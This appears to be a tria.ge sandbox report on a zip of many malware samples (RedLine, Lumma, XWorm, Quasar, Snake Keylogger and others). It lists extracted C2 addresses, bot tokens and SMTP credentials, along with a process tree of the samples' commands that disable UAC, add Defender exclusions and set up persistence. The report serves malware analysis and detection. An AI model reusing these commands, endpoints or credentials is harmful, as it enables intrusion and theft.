Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
31/12/2024, 21:35
241231-1fmqnszqft 1031/12/2024, 21:27
241231-1axzfssnek 1016/12/2024, 05:27
241216-f5kx6awmh1 1014/12/2024, 20:23
241214-y6jqlasrhy 1014/12/2024, 20:22
241214-y51bysvmbk 1014/12/2024, 20:13
241214-yzc98svkfr 1014/12/2024, 13:14
241214-qgw1masrcy 1014/12/2024, 13:12
241214-qfk7qsvlaq 312/12/2024, 18:19
241212-wymq6ssnat 10Analysis
-
max time kernel
118s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
12/12/2024, 18:16
General
-
Target
241127-xqsswsslej_pw_infected.zip
-
Size
12KB
-
MD5
79fd058f7d06cc022de1786507eb26e3
-
SHA1
86590ec8ed73fd2951587561dff5387e9e0e18e6
-
SHA256
cf99eaaa334a9c8ffc2fe0e1068ffcc02dda1dd8b2b0eab2821182c5d2c1f51d
-
SHA512
8316ac3782c05a3ebea4ca0868e33512e5ef29b251498f3af5ab261cd2010dec6b0eca8a57adcadb0d70653be2e22c0c2c137c7a38ec7b3d5ebbdd02e09c0227
-
SSDEEP
384:sBfwcSEp9ZjKXSBIDv4dDfjlMJ7HWTHWT:wfACW6Dr8HWTHWT
Malware Config
Extracted
discordrat
-
discord_token
MTMxNTQxMDg0NDg3NTQ4OTI4MA.Gx5ptK.HY1OYsjGMP1MsOoyD2E7T9pCvkfHTdOPozmb_c
-
server_id
1315411300192616569
Extracted
xworm
5.0
127.0.0.1:7000
80.76.49.229:7000
127.0.0.1:8080
101.99.92.189:8080
WTs8NdiuS2GN0N0O
-
Install_directory
%AppData%
-
install_file
XClient.exe
Extracted
redline
newbundle2
185.215.113.67:15206
Extracted
snakekeylogger
Protocol: smtp- Host:
mail.daipro.com.mx - Port:
587 - Username:
[email protected] - Password:
DAIpro123** - Email To:
[email protected]
Extracted
lumma
https://impend-differ.biz/api
https://print-vexer.biz/api
https://dare-curbys.biz/api
https://covery-mover.biz/api
https://formy-spill.biz/api
https://dwell-exclaim.biz/api
https://zinc-sneark.biz/api
https://se-blurry.biz/api
https://infect-crackle.cyou/api
https://servicedny.site/api
https://authorisev.site/api
https://faulteyotk.site/api
https://dilemmadu.site/api
https://contemteny.site/api
https://goalyfeastz.site/api
https://opposezmny.site/api
https://seallysl.site/api
https://ponintnykqwm.shop/api
https://sordid-snaked.cyou/api
https://awake-weaves.cyou/api
Extracted
quasar
1.4.1
Office04
192.168.43.241:4782
0517af80-95f0-4a6d-a904-5b7ee8faa157
-
encryption_key
6095BF6D5D58D02597F98370DFD1CCEB782F1EDD
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
svhost
-
subdirectory
SubDir
Extracted
lumma
https://infect-crackle.cyou/api
https://covery-mover.biz/api
https://tacitglibbr.biz/api
https://immureprech.biz/api
https://deafeninggeh.biz/api
https://wrathful-jammy.cyou/api
https://awake-weaves.cyou/api
https://sordid-snaked.cyou/api
Extracted
gurcu
https://api.telegram.org/bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775
https://api.telegram.org/bot962023231:AAG4by19NbHDMl2hPuMLesCOvrR264-4hSg/sendMessag
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Dcrat family
-
Detect Xworm Payload 3 IoCs
-
Discord RAT
A RAT written in C# using Discord as a C2.
-
Discordrat family
-
Gurcu family
-
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
-
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
-
Lumma family
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
-
NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
-
Nanocore family
-
Phorphiex family
-
Phorphiex payload 1 IoCs
-
Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Quasar RAT
Quasar is an open source Remote Access Tool.
-
Quasar family
-
Quasar payload 2 IoCs
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 2 IoCs
-
Redline family
-
Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
-
Snake Keylogger payload 1 IoCs
-
Snakekeylogger family
-
Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs
-
UAC bypass 3 TTPs 3 IoCs
-
Xmrig family
-
Xworm
Xworm is a remote access trojan written in C#.
-
Xworm family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
DCRat payload 2 IoCs
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
-
XMRig Miner payload 10 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Downloads MZ/PE file
-
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
-
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 22 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 8 IoCs
-
Executes dropped EXE 64 IoCs
-
Identifies Wine through registry keys 2 TTPs 2 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
-
Loads dropped DLL 14 IoCs
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
-
Adds Run key to start application 2 TTPs 7 IoCs
-
Checks whether UAC is enabled 1 TTPs 1 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
-
Drops file in System32 directory 2 IoCs
-
Enumerates processes with tasklist 1 TTPs 2 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
-
Suspicious use of SetThreadContext 7 IoCs
-
UPX packed file 6 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops file in Program Files directory 11 IoCs
-
Drops file in Windows directory 5 IoCs
-
Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 57 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 7 IoCs
Adversaries may check for Internet connectivity on compromised systems.
-
Delays execution with timeout.exe 2 IoCs
-
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
-
Modifies registry class 7 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Runs ping.exe 1 TTPs 5 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
-
Suspicious behavior: SetClipboardViewer 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 18 IoCs
-
Suspicious use of SendNotifyMessage 6 IoCs
-
Suspicious use of SetWindowsHookEx 18 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Views/modifies file attributes 1 TTPs 5 IoCs
-
outlook_office_path 1 IoCs
-
outlook_win_path 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\241127-xqsswsslej_pw_infected.zip"2⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\4363463463464363463463463.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\test-again.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\test-again.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\nano.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\nano.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\o.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\o.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\sysnldcvmr.exeC:\Windows\sysnldcvmr.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Local\Temp\2968224716.exeC:\Users\Admin\AppData\Local\Temp\2968224716.exe6⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f7⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f8⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /delete /f /tn "Windows Upgrade Manager"8⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2880822053.exeC:\Users\Admin\AppData\Local\Temp\2880822053.exe6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\3532634971.exeC:\Users\Admin\AppData\Local\Temp\3532634971.exe7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\3291433011.exeC:\Users\Admin\AppData\Local\Temp\3291433011.exe6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\3084722593.exeC:\Users\Admin\AppData\Local\Temp\3084722593.exe6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\nothjgdwa.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\nothjgdwa.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe"C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\10000810101\tester.exe"C:\Users\Admin\AppData\Local\Temp\10000810101\tester.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\10000810101\tester.exe"C:\Users\Admin\AppData\Local\Temp\10000810101\tester.exe"7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\kyhjasehs.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\kyhjasehs.exe"4⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vcdzh2ia\vcdzh2ia.cmdline"5⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES40DC.tmp" "c:\Windows\System32\CSC2CA6E1F3DA984E968ECE537E1EAC7E2.TMP"6⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\LjKwmZ1Yfd.bat"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650016⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:26⤵
-
-
C:\Users\Admin\AppData\Local\updater.exe"C:\Users\Admin\AppData\Local\updater.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\jic4eklKP7.bat"7⤵
-
C:\Windows\system32\chcp.comchcp 650018⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:28⤵
-
-
C:\Users\Admin\AppData\Local\updater.exe"C:\Users\Admin\AppData\Local\updater.exe"8⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\vUeiK7j9e9.bat"9⤵
-
C:\Windows\system32\chcp.comchcp 6500110⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost10⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\updater.exe"C:\Users\Admin\AppData\Local\updater.exe"10⤵
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\cvv.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\cvv.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\MsChainWinSavesNet\JeuoTlIUFkP0JKjwMjJhvZCUZE7ZSPu8lUVQg7epfUxIOeMqBpEL003n4zid.vbe"5⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\MsChainWinSavesNet\XeIJVXsH711dt3nzNM5xE4hYJepTgAq4zgx4OrxOJ6bMlIST.bat" "6⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\MsChainWinSavesNet\intosvc.exe"C:\MsChainWinSavesNet/intosvc.exe"7⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\JOrpebqBTx.bat"8⤵
-
C:\Windows\system32\chcp.comchcp 650019⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:29⤵
-
-
C:\Program Files (x86)\Google\Temp\explorer.exe"C:\Program Files (x86)\Google\Temp\explorer.exe"9⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\DvvzTrhuYJ.bat"10⤵
-
C:\Windows\system32\chcp.comchcp 6500111⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Program Files (x86)\Google\Temp\explorer.exe"C:\Program Files (x86)\Google\Temp\explorer.exe"11⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\jvhcSLBvsS.bat"12⤵
-
C:\Windows\system32\chcp.comchcp 6500113⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost13⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Program Files (x86)\Google\Temp\explorer.exe"C:\Program Files (x86)\Google\Temp\explorer.exe"13⤵
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\FACTURA-09876RT567800.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\FACTURA-09876RT567800.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\FACTURA-09876RT567800.exe"5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\sCmXpCl.exe"5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sCmXpCl" /XML "C:\Users\Admin\AppData\Local\Temp\tmp8529.tmp"5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\FACTURA-09876RT567800.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\FACTURA-09876RT567800.exe"5⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\XClient.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\XClient.exe"4⤵
- Drops startup file
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\newtpp.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\newtpp.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\xxl.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\xxl.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\LukeJazz.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\LukeJazz.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k copy Decide Decide.cmd & Decide.cmd & exit5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa.exe opssvc.exe"6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 4375706⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "BASEDADVERTISEAFGHANISTANCONTENT" Sacramento6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b Avi + Hits + Joyce + Desk + Cheers + Cleanup + Generate + Hobbies + Possible + Rover + Notifications + Unique + Helpful + Constantly + Namibia + Revolution + Transfers + Index + Colors 437570\b6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\437570\Ul.pif437570\Ul.pif 437570\b6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\timeout.exetimeout 56⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\discord.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\discord.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\mtbkkesfthae.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\mtbkkesfthae.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\LummaC2.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\LummaC2.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\svhosts.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\svhosts.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\Client-built.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\Client-built.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\pornhub_downloader.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\pornhub_downloader.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\565.tmp\566.tmp\567.bat C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\pornhub_downloader.exe"5⤵
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\AppData\Local\Temp\7ZO8A2~3\Files\PORNHU~1.EXE","goto :target","","runas",1)(window.close)6⤵
- Checks computer location settings
- Access Token Manipulation: Create Process with Token
-
C:\Users\Admin\AppData\Local\Temp\7ZO8A2~3\Files\PORNHU~1.EXE"C:\Users\Admin\AppData\Local\Temp\7ZO8A2~3\Files\PORNHU~1.EXE" goto :target7⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1C77.tmp\1C78.tmp\1C79.bat C:\Users\Admin\AppData\Local\Temp\7ZO8A2~3\Files\PORNHU~1.EXE goto :target"8⤵
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F9⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F9⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F9⤵
- UAC bypass
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKEY_CLASSES_ROOT\http\shell\open\command"9⤵
-
C:\Windows\system32\reg.exereg query HKEY_CLASSES_ROOT\http\shell\open\command10⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.pornhub.com/9⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xd8,0x10c,0x7ff99e1246f8,0x7ff99e124708,0x7ff99e12471810⤵
-
-
